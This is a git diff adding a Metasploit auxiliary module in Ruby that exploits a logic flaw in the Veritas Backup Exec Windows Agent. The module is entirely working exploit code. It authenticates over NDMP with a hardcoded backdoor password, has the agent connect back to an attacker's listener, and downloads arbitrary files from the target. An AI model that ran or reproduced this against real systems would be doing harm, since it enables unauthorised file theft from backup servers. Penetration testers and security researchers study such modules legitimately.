diff --git a/modules/auxiliary/admin/backupexec/dump.rb b/modules/auxiliary/admin/backupexec/dump.rb new file mode 100644 index 0000000000..e4f1cd2bd3 --- /dev/null +++ b/modules/auxiliary/admin/backupexec/dump.rb @@ -0,0 +1,274 @@ +require 'msf/core' + +module Msf + +class Auxiliary::Admin::Backupexec::FileAccess < Msf::Auxiliary + + include Exploit::Remote::NDMP + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Veritas Backup Exec Windows Remote File Access', + 'Description' => %q{ + This module abuses a logic flaw in the Backup Exec Windows Agent to download + arbitrary files from the system. This flaw was found by someone who wishes to + remain anonymous and affects all known versions of the Backup Exec Windows Agent. The + output file is in 'MTF' format, which can be extracted by the 'NTKBUp' program + listed in the references section. To transfer an entire directory, specify a + path that includes a trailing backslash. + }, + 'Author' => [ 'hdm', 'anonymous' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 3913 $', + 'References' => + [ + ['OSVDB', '18695'], + ['BID', '14551'], + ['URL', 'http://www.fpns.net/willy/msbksrc.lzh'], + ['MIL', '88'], + ], + 'Actions' => + [ + ['Download'] + ], + 'DefaultAction' => 'Download' + )) + + register_options( + [ + Opt::RPORT(10000), + OptAddress.new('LHOST', + [ + false, + "The local IP address to accept the data connection" + ] + ), + OptPort.new('LPORT', + [ + false, + "The local port to accept the data connection" + ] + ), + OptString.new('RPATH', + [ + true, + "The remote filesystem path to download", + "C:\\boot.ini" + ] + ), + OptString.new('LPATH', + [ + true, + "The local filename to store the exported data", + "backupexec_dump.mtf" + ] + ), + ], self.class) + end + + def run + print_status("Attempting to retreive #{datastore['RPATH']}...") + + lfd = File.open(datastore['LPATH'], 'w') + + connect + data = ndmp_recv() + if (not data) + print_error("Did not receive a response from the agent") + disconnect + return + end + + username = "root" + password = "\xb4\xb8\x0f\x26\x20\x5c\x42\x34\x03\xfc\xae\xee\x8f\x91\x3d\x6f" + + # + # Authenticate using the backdoor password + # + auth = [ + 1, + Time.now.to_i, + 0, + 0x0901, + 0, + 0, + 2, + username.length, + username, + password + ].pack('NNNNNNNNA*A*') + + print_status("Sending magic authentication request...") + ndmp_send(auth) + data = ndmp_recv() + if (not data) + print_error("Did not receive a response to our authentication request") + disconnect + return + end + + + # + # Create our listener for the data connection + # + print_status("Starting our data listener...") + sfd = Rex::Socket.create_tcp_server( + 'LocalPort' => datastore['LPORT'] + ) + + local_addr = (datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])) + local_port = sfd.getsockname[2] + + # + # Create the DATA_CONNECT request + # + conn = [ + 3, + 0, + 0, + 0x040a, + 0, + 0, + 1, + Rex::Socket.gethostbyname(local_addr)[3], + local_port + ].pack('NNNNNNNA4N') + + print_status("Sending data connection request...") + ndmp_send(conn) + data = ndmp_recv() + if (not data) + print_error("Did not receive a response to our data connection request") + sfd.close + disconnect + return + end + + # + # Wait for the agent to connect back + # + print_status("Waiting for the data connection...") + rfd = sfd.accept() + sfd.close + + + # + # Create the Mover Set Record Size request + # + msrs = [ + 4, + 0, + 0, + 0x0a08, + 0, + 0, + 0x8000 + ].pack('NNNNNNN') + + print_status("Sending transfer parameters...") + ndmp_send(msrs) + data = ndmp_recv() + if (not data) + print_error("Did not receive a response to our parameters request") + disconnect + return + end + + # + # Define our tranfer parameters + # + xenv = + [ + ['USERNAME', ''], + ['BU_EXCLUDE_ACTIVE_FILES', '0'], + ['FILESYSTEM', "\"\\\\#{datastore['RHOST']}\\#{datastore['RPATH']}\",v0,t0,l0,n0,f0"] + ] + + # + # Create the DATA_START_BACKUP request + # + bkup = [ + 5, + 0, + 0, + 0x0401, + 0, + 0, + 4 + ].pack('NNNNNNN') + bkup += "dump" + bkup += [ xenv.length ].pack('N') + + # + # Encode the transfer parameters + # + xenv.each do |e| + k,v = e + + # Variable + bkup += [k.length].pack('N') + bkup += k + bkup += Rex::Encoder::NDR.align(k) + + # Value + bkup += [v.length].pack('N') + bkup += v + bkup += Rex::Encoder::NDR.align(v) + end + + bkup[-1, 1] = "\x01" + + print_status("Sending backup request...") + ndmp_send(bkup) + data = ndmp_recv() + if (not data) + print_error("Did not receive a response to our backup request") + disconnect + return + end + + # + # Create the GET_ENV request + # + genv = [ + 5, + 0, + 0, + 0x4004, + 0, + 0 + ].pack('NNNNNN') + + print_status("Sending environment request...") + ndmp_send(genv) + data = ndmp_recv() + if (not data) + print_error("Did not receive a response to our environment request") + disconnect + return + end + + # + # Start transferring data + # + print_status("Transferring data...") + bcnt = 0 + + begin + while (data = rfd.get_once) + bcnt += data.length + lfd.write(data) + end + rescue ::EOFError => e + end + + lfd.close + rfd.close + + print_status("Transferred #{bcnt} bytes.") + disconnect + + end + +end +end